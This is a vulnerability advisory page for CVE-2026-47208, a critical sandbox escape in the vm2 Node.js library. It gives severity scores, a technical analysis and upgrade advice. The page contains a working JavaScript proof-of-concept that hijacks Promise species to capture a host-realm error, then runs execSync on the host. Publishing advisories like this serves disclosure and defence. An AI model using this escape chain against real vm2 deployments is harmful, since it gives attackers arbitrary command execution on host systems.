Skip to main content

vm2 CVE-2026-47208

| EUVDEUVD-2026-36447 CRITICAL
Improper Control of Dynamically-Managed Code Resources (CWE-913)
2026-05-29 https://github.com/patriksimek/vm2 GHSA-76w7-j9cq-rx2j
Critical
Disputed · 10.0 Vendor: https://github.com/patriksimek/vm2
Share

Severity by source

Sources disagree (Medium–Critical)
Vendor (https://github.com/patriksimek/vm2) PRIMARY
10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Red Hat
6.6 MEDIUM
qualitative

vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.

CVSS VectorVendor: https://github.com/patriksimek/vm2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Source Code Evidence Fetched
May 29, 2026 - 18:16 vuln.today
Analysis Generated
May 29, 2026 - 18:16 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 88 npm packages depend on vm2 (4 direct, 84 indirect)

Ecosystem-wide dependent count for version 3.11.4.

DescriptionCVE.org

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The localPromise constructor was changed to call this.then(undefined, eater) to ensure a rejected promise is always used. However, this is missing a call to resetPromiseSpecies to ensure that this has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.

PoC

js
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
class E extends Error {}
function so(d) {
	if (d > 0) so(d-1);
	const e = new E();
	e.stack;
	throw e;
}
let ex, ct;
class FakePromise extends Promise {
	static get [Symbol.species](){return ct;}
}
function doCatch(f) {
	ex=undefined;
	const p=Promise.withResolvers();
	ct = function(e){e(f, v=>{ex=v;p.resolve();})};
	new FakePromise(r=>r());
	return p.promise;
}
(async function f(s) {
	let min = s;
	let max = 100000;
	while (min<max) {
		const mid = (min+max)>>1;
		await doCatch(()=>so(mid));
		if (ex.name==="RangeError" && !(ex instanceof RangeError)) {
			ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
			return;
		}
		if (ex instanceof E) {
			min = mid+1;
		} else {
			max = mid;
		}
	}
	f(s+1);
})(0);
`);

Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

AnalysisAI

Remote code execution in the vm2 Node.js sandbox library (versions <= 3.11.3) allows sandboxed JavaScript to escape isolation and execute arbitrary commands on the host. The flaw stems from a missing resetPromiseSpecies call in the localPromise swallow tail, letting a sandbox subclass hijack Promise species resolution and capture a raw host-realm RangeError that exposes the host Function constructor. Publicly available exploit code exists (POC published in the advisory), though no public exploit identified at time of analysis as actively exploited in the wild; given vm2's heavy use as an untrusted-code sandbox in SaaS, CI, and serverless platforms, this is a top-priority issue.

Technical ContextAI

vm2 is an npm package historically used to execute untrusted JavaScript inside a constrained sandbox by overriding host built-ins. The vulnerability lives in lib/setup-sandbox.js, in the localPromise constructor that attaches an internal 'swallow tail' via apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]) to suppress unhandled rejections. The host Promise.prototype.then resolves the downstream child through the species protocol (this.constructor[Symbol.species]); vm2's other Promise-related overrides call resetPromiseSpecies(this) first to force species back to localPromise, but the swallow-tail path inside the constructor itself omitted that call. CWE-913 (Improper Control of Dynamically-Managed Code Resources) captures the root cause: an attacker-controlled subclass with a custom Symbol.species redirects V8's internal Promise capability builder to a user function, which receives V8's raw (resolve, reject) and re-binds them to a sandbox collector. Combined with a deep-recursion + e.stack primitive that forces V8 to throw a host-realm RangeError inside PromiseResolveThenableJob, the attacker captures a host-realm Error whose .constructor.constructor reaches the host Function constructor and pivots to process.mainModule.require('child_process').execSync. CPE indicates pkg:npm/vm2.

RemediationAI

Vendor-released patch: upgrade vm2 to 3.11.4 or later via npm install vm2@^3.11.4 and rebuild and redeploy any affected services; the one-line fix in lib/setup-sandbox.js adds the missing resetPromiseSpecies(this) before the swallow-tail call (commit a462655009669c3124ee39498121651597529ea8). Validate transitive dependencies with npm ls vm2 because vm2 is frequently nested several levels deep in code-execution toolchains, and pin the version in package-lock.json to prevent regression. Because vm2 has accumulated a long history of sandbox-escape advisories, the strategically correct compensating control is to migrate off vm2 entirely to isolated-vm or to OS-level isolation such as gVisor, Firecracker microVMs, or per-tenant containers - the trade-off is non-trivial engineering effort and a different API surface. If immediate upgrade or migration is impossible, restrict what untrusted code can reach the vm2 evaluator at the application layer (require authentication, rate-limit, and reject input containing Promise subclassing, Symbol.species access, or deep-recursion patterns); note that source-level filters are easy to bypass and should be treated as defense-in-depth only. Consult the advisory at https://github.com/patriksimek/vm2/security/advisories/GHSA-76w7-j9cq-rx2j and https://github.com/advisories/GHSA-76w7-j9cq-rx2j for vendor guidance.

Vendor StatusVendor

Share

CVE-2026-47208 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy